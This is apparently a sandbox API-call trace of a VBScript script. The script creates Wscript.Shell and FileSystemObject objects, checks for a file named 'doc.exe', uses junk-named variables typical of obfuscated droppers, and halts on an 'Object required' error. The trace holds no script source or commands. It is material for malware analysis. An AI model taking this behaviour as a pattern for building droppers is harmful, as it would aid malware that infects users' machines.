FileSystemObject:IUnknown:QueryInterface (in: This=0x838c5d8, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c014 | out: ppvObject=0x14c014*=0x838c5d8) returned 0x0 [0076.583] FileSystemObject:IUnknown:AddRef (This=0x838c5d8) returned 0x3 [0076.583] FileSystemObject:IUnknown:Release (This=0x838c5d8) returned 0x2 [0076.583] FileSystemObject:IUnknown:Release (This=0x838c5d8) returned 0x1 [0076.583] FileSystemObject:IUnknown:AddRef (This=0x838c5d8) returned 0x2 [0076.583] ??3@YAXPAX@Z () returned 0x930001 [0076.583] ??3@YAXPAX@Z () returned 0x200001 [0076.583] ??3@YAXPAX@Z () returned 0xffff0001 [0076.584] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.584] malloc (_Size=0x804) returned 0x83cc7a0 [0076.584] ??2@YAPAXI@Z () returned 0x844b458 [0076.584] ??3@YAXPAX@Z () returned 0x1 [0076.584] malloc (_Size=0x204) returned 0x8444028 [0076.584] ??2@YAPAXI@Z () returned 0x1129260 [0076.584] ??3@YAXPAX@Z () returned 0xffff0001 [0076.584] free (_Block=0x11977f0) [0076.584] free (_Block=0x8444028) [0076.584] free (_Block=0x83d9ce0) [0076.584] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.584] ??2@YAPAXI@Z () returned 0x83fd5e8 [0076.584] IUnknown:AddRef (This=0x1197760) returned 0x6 [0076.584] CLSIDFromProgIDEx (in: lpszProgID="Wscript.Shell", lpclsid=0x14c06c | out: lpclsid=0x14c06c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0076.587] SysStringLen (param_1=0x0) returned 0x0 [0076.587] CoGetClassObject (in: rclsid=0x14c06c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14c05c | out: ppv=0x14c05c*=0x1112ae8) returned 0x0 [0076.588] WshShell:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14c058 | out: ppvObject=0x14c058*=0x0) returned 0x80004002 [0076.588] WshShell:IClassFactory:CreateInstance (in: This=0x1112ae8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c060 | out: ppvObject=0x14c060*=0x86bfb94) returned 0x0 [0076.588] WshShell:IUnknown:Release (This=0x1112ae8) returned 0x0 [0076.588] WshShell:IUnknown:QueryInterface (in: This=0x86bfb94, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14c024 | out: ppvObject=0x14c024*=0x0) returned 0x80004002 [0076.588] WshShell:IUnknown:QueryInterface (in: This=0x86bfb94, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c014 | out: ppvObject=0x14c014*=0x86bfb80) returned 0x0 [0076.588] WshShell:IUnknown:AddRef (This=0x86bfb80) returned 0x3 [0076.588] WshShell:IUnknown:Release (This=0x86bfb80) returned 0x2 [0076.588] WshShell:IUnknown:Release (This=0x86bfb94) returned 0x1 [0076.588] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0076.588] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="wshShell", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0076.588] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="wshShell", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0076.588] GetCurrentThreadId () returned 0xd44 [0076.588] IUnknown:Release (This=0x1197760) returned 0x6 [0076.588] WshShell:IUnknown:AddRef (This=0x86bfb80) returned 0x2 [0076.589] ??3@YAXPAX@Z () returned 0x930001 [0076.589] ??3@YAXPAX@Z () returned 0x200001 [0076.589] ??3@YAXPAX@Z () returned 0xffff0001 [0076.589] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.589] malloc (_Size=0x804) returned 0x83cc7a0 [0076.589] ??2@YAPAXI@Z () returned 0x844b458 [0076.589] ??3@YAXPAX@Z () returned 0x1 [0076.589] malloc (_Size=0x204) returned 0x8444028 [0076.589] ??2@YAPAXI@Z () returned 0x1129260 [0076.589] ??3@YAXPAX@Z () returned 0xffff0001 [0076.589] free (_Block=0x11977f0) [0076.589] free (_Block=0x8444028) [0076.589] free (_Block=0x83d9ce0) [0076.589] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.589] ??2@YAPAXI@Z () returned 0x83fd5e8 [0076.590] IUnknown:AddRef (This=0x1197760) returned 0x6 [0076.590] FileSystemObject:IUnknown:QueryInterface (in: This=0x838c578, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0fc | out: ppvObject=0x14c0fc*=0x0) returned 0x80004002 [0076.590] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x838c578, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14c100*="fileexists", cNames=0x1, lcid=0x409, rgDispId=0x14c118 | out: rgDispId=0x14c118*=10016) returned 0x0 [0076.590] FileSystemObject:IUnknown:AddRef (This=0x838c578) returned 0x2 [0076.590] FileSystemObject:IUnknown:QueryInterface (in: This=0x838c578, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c104 | out: ppvObject=0x14c104*=0x0) returned 0x80004002 [0076.590] FileSystemObject:IDispatch:Invoke (in: This=0x838c578, dispIdMember=10016, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14c0d0*(rgvarg=([0]=0x14c00c*(varType=0x8, wReserved1=0x6690, wReserved2=0x7764, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14c0ac, puArgErr=0x14c0f0 | out: pDispParams=0x14c0d0*(rgvarg=([0]=0x14c00c*(varType=0x8, wReserved1=0x6690, wReserved2=0x7764, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14c0ac*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14c0f0*=0x838c578) returned 0x0 [0076.590] FileSystemObject:IUnknown:Release (This=0x838c578) returned 0x1 [0076.590] ??3@YAXPAX@Z () returned 0x930001 [0076.591] ??3@YAXPAX@Z () returned 0x200001 [0076.591] ??3@YAXPAX@Z () returned 0xffff0001 [0076.591] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.591] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="offififii", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.591] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="offififii", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.591] GetCurrentThreadId () returned 0xd44 [0076.591] IUnknown:Release (This=0x1197760) returned 0x5 [0076.591] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.591] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lilvar", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.591] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lilvar", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.591] GetCurrentThreadId () returned 0xd44 [0076.591] IUnknown:Release (This=0x1197760) returned 0x5 [0076.592] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.592] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="sdsdsd", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.592] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="sdsdsd", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.592] GetCurrentThreadId () returned 0xd44 [0076.592] IUnknown:Release (This=0x1197760) returned 0x5 [0076.592] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.592] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="aaaaaaaaaaa", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.592] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="aaaaaaaaaaa", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.592] GetCurrentThreadId () returned 0xd44 [0076.592] IUnknown:Release (This=0x1197760) returned 0x5 [0076.592] malloc (_Size=0x4004) returned 0x846edf8 [0076.593] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.593] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="outFile", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.593] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="outFile", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.593] GetCurrentThreadId () returned 0xd44 [0076.593] IUnknown:Release (This=0x1197760) returned 0x5 [0076.593] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.593] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ii5433y", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.593] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ii5433y", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.593] GetCurrentThreadId () returned 0xd44 [0076.594] IUnknown:Release (This=0x1197760) returned 0x5 [0076.595] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.595] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="secvar", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.595] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="secvar", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.595] GetCurrentThreadId () returned 0xd44 [0076.595] IUnknown:Release (This=0x1197760) returned 0x5 [0076.596] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.596] malloc (_Size=0x804) returned 0x83cc7a0 [0076.596] ??2@YAPAXI@Z () returned 0x844b458 [0076.596] ??3@YAXPAX@Z () returned 0x1 [0076.596] ??2@YAPAXI@Z () returned 0x1129260 [0076.596] ??3@YAXPAX@Z () returned 0xffff0001 [0076.596] free (_Block=0x11977f0) [0076.596] free (_Block=0x8444028) [0076.596] free (_Block=0x83d9ce0) [0076.596] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.596] ??2@YAPAXI@Z () returned 0x83fd5e8 [0076.596] IUnknown:AddRef (This=0x1197760) returned 0x6 [0076.596] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c08c | out: ppvObject=0x14c08c*=0x1197760) returned 0x0 [0076.596] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="prock", grfdex=0x8, pid=0x14c0a8 | out: pid=0x14c0a8*=1360132) returned 0x80020006 [0076.596] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="prock", grfdex=0x8, pid=0x14c000 | out: pid=0x14c000*=-1) returned 0x80020006 [0076.597] GetCurrentThreadId () returned 0xd44 [0076.597] IUnknown:Release (This=0x1197760) returned 0x6 [0076.597] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0076.597] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="gjfhf", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0076.597] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="gjfhf", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0076.597] GetCurrentThreadId () returned 0xd44 [0076.597] IUnknown:Release (This=0x1197760) returned 0x6 [0076.597] ??3@YAXPAX@Z () returned 0x930001 [0076.597] ??3@YAXPAX@Z () returned 0x200001 [0076.597] ??3@YAXPAX@Z () returned 0xffff0001 [0076.597] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.597] malloc (_Size=0x804) returned 0x83cc7a0 [0076.597] ??2@YAPAXI@Z () returned 0x844b458 [0076.598] ??3@YAXPAX@Z () returned 0x1 [0076.598] ??2@YAPAXI@Z () returned 0x1129260 [0076.598] ??3@YAXPAX@Z () returned 0xffff0001 [0076.598] free (_Block=0x11977f0) [0076.598] free (_Block=0x8444028) [0076.598] free (_Block=0x83d9ce0) [0076.598] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.598] ??2@YAPAXI@Z () returned 0x83fd5e8 [0076.598] IUnknown:AddRef (This=0x1197760) returned 0x6 [0076.598] ??3@YAXPAX@Z () returned 0x930001 [0076.648] ??3@YAXPAX@Z () returned 0x200001 [0076.648] ??3@YAXPAX@Z () returned 0xffff0001 [0076.648] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.648] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="wfiwowewfugdy", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.648] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="wfiwowewfugdy", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.648] GetCurrentThreadId () returned 0xd44 [0076.648] IUnknown:Release (This=0x1197760) returned 0x5 [0076.649] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.649] malloc (_Size=0x804) returned 0x83cc7a0 [0076.649] ??2@YAPAXI@Z () returned 0x844b458 [0076.649] ??3@YAXPAX@Z () returned 0x1 [0076.649] ??2@YAPAXI@Z () returned 0x1129260 [0076.649] ??3@YAXPAX@Z () returned 0xffff0001 [0076.649] free (_Block=0x11977f0) [0076.649] free (_Block=0x83dbbb0) [0076.649] free (_Block=0x83d9ce0) [0076.649] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.649] ??2@YAPAXI@Z () returned 0x83fd5e8 [0076.649] IUnknown:AddRef (This=0x1197760) returned 0x6 [0076.650] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0076.650] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="stryn", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0076.650] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="stryn", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0076.650] GetCurrentThreadId () returned 0xd44 [0076.650] IUnknown:Release (This=0x1197760) returned 0x6 [0076.650] ??3@YAXPAX@Z () returned 0x930001 [0076.650] ??3@YAXPAX@Z () returned 0x200001 [0076.651] ??3@YAXPAX@Z () returned 0xffff0001 [0076.651] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.651] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="varforst", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.651] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="varforst", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.651] GetCurrentThreadId () returned 0xd44 [0076.651] IUnknown:Release (This=0x1197760) returned 0x5 [0076.651] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.651] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="jsiweu", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.652] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="jsiweu", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.652] GetCurrentThreadId () returned 0xd44 [0076.652] IUnknown:Release (This=0x1197760) returned 0x5 [0076.652] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.652] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="mreu98y43rh", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.652] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="mreu98y43rh", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.652] GetCurrentThreadId () returned 0xd44 [0076.652] IUnknown:Release (This=0x1197760) returned 0x5 [0076.652] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.652] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="iwywbjd37", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.652] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="iwywbjd37", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.653] GetCurrentThreadId () returned 0xd44 [0076.653] IUnknown:Release (This=0x1197760) returned 0x5 [0076.653] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.653] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="fogeghehdety5", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.653] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="fogeghehdety5", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.653] GetCurrentThreadId () returned 0xd44 [0076.654] IUnknown:Release (This=0x1197760) returned 0x5 [0076.654] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.655] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vjsjuvwiog", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.655] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vjsjuvwiog", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.655] GetCurrentThreadId () returned 0xd44 [0076.655] IUnknown:Release (This=0x1197760) returned 0x5 [0076.655] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.655] malloc (_Size=0x804) returned 0x83cc7a0 [0076.655] ??2@YAPAXI@Z () returned 0x844b458 [0076.655] ??3@YAXPAX@Z () returned 0x1 [0076.655] ??2@YAPAXI@Z () returned 0x1129260 [0076.655] ??3@YAXPAX@Z () returned 0xffff0001 [0076.655] free (_Block=0x11977f0) [0076.655] free (_Block=0x83dbbb0) [0076.655] free (_Block=0x83d9ce0) [0076.655] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.655] ??2@YAPAXI@Z () returned 0x83fd5e8 [0076.655] IUnknown:AddRef (This=0x1197760) returned 0x6 [0076.656] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c08c | out: ppvObject=0x14c08c*=0x1197760) returned 0x0 [0076.656] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="writer", grfdex=0x8, pid=0x14c0a8 | out: pid=0x14c0a8*=1360132) returned 0x80020006 [0076.656] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="writer", grfdex=0x8, pid=0x14c000 | out: pid=0x14c000*=-1) returned 0x80020006 [0076.656] GetCurrentThreadId () returned 0xd44 [0076.656] IUnknown:Release (This=0x1197760) returned 0x6 [0076.656] longjmp () [0076.662] GetVersionExA (in: lpVersionInformation=0x14b814*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6c48b10, dwMinorVersion=0x14b830, dwBuildNumber=0x72aa365e, dwPlatformId=0x380000, szCSDVersion="") | out: lpVersionInformation=0x14b814*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0076.662] FindResourceA (hModule=0x66890000, lpName=0x1b, lpType=0x6) returned 0x4850640 [0076.687] LoadResource (hModule=0x66890000, hResInfo=0x4850640) returned 0x4850f14 [0076.687] LockResource (hResData=0x4850f14) returned 0x4850f14 [0076.687] SizeofResource (hModule=0x66890000, hResInfo=0x4850640) returned 0xc8 [0076.687] FindResourceA (hModule=0x66890000, lpName=0x101, lpType=0x6) returned 0x48506e0 [0076.688] LoadResource (hModule=0x66890000, hResInfo=0x48506e0) returned 0x48521d8 [0076.688] LockResource (hResData=0x48521d8) returned 0x48521d8 [0076.688] SizeofResource (hModule=0x66890000, hResInfo=0x48506e0) returned 0xd2 [0076.688] SysStringLen (param_1="Object required") returned 0xf [0076.688] free (_Block=0x1112ae8) [0076.688] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c120 | out: ppvObject=0x14c120*=0x83fd480) returned 0x0 [0076.688] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668c4198*(Data1=0xc5598e60, Data2=0xb307, Data3=0x11d1, Data4=([0]=0xb2, [1]=0x7d, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfb)), ppvObject=0x14c11c | out: ppvObject=0x14c11c*=0x0) returned 0x80004002 [0076.688] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14c118 | out: ppvObject=0x14c118*=0x83fd490) returned 0x0 [0076.688] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0076.688] 